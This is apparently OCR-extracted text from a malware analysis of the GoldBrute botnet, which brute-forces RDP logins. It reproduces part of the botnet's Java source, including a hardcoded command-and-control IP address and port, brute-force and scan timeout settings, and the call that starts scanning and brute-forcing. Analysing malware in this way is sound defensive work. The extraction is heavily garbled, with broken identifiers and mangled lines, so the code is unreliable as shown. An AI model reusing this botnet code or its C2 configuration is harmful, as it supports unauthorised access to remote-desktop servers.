RDP brute-force attack Addresses to brute
(One shot per targeted host) (host;user;password format)

[EX] https://morphuslabs.com/goldbrute-botnet-brute—forcing—1-5-million-rdp—servers—371f219ec37d
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1 package rdp.gold.brute.version;
2

3 import rdp.gold.brute.pool.GoldBrute;
4
5 public class Console
6 {
& 7 private static final org.apache.log4j.Logger logger = org.apache.log4j.Logger.getLogger(Console.class
8
9  public Console() {}
10
11=  publd i i ig.runAutoconfigureThreads();
12 rdp.gold.brute.Config.HOST_ADMIN = "104.156.249.231}';
13 rdp.gold.brute.Config.PORT_ADMIN = 8333; C&C Server
14
15 rdp.gold.brute.Config.BRUTE_TIMEOUT = Integer.value0f(11000);
16 rdp.gold.brute.Config.SCAN_CONNECT_TIMEOUT = Integer.value0f(2000);
17 rdp.gold.brute.Config.SCAN_SOCKET_TIMEOUT = Integer.value0f(2000);
18
19 rdp.gold.brute.Config.BRUTE_TIMEOUT_MS_SETTINGS_FILE = Integer.value0f(5000);
20 rdp.gold.brute.Config.SCAN_CONNECT_TIMEOUT_MS_SETTINGS_FILE = Integer.value0f(1000);
21 rdp.gold.brute.Config.SCAN_SOCKET_TIMEOUT_MS_SETTINGS_FILE = Integer.value0f(1000);
22
23 rdp.gold.brute.Config.IS_ENABLE_DEBUG = Boolean.valueOf(false);
24 rdp.gold.brute.Config.LOG_PATH = "";
25
26 rdp.gold.brute.Config.init();
27
28 aldB -galds & = new GoldBrute();
gg glgBruti.a:() F Start scan and brute-force
31 System.err.println(e.getMessage());
32 System.exit(0);
33 }
34}
35 }
36

[EX] https://morphuslabs.com/goldbrute-botnet-brute—fording—1-5-million—rdp—servers—371f219ec37d
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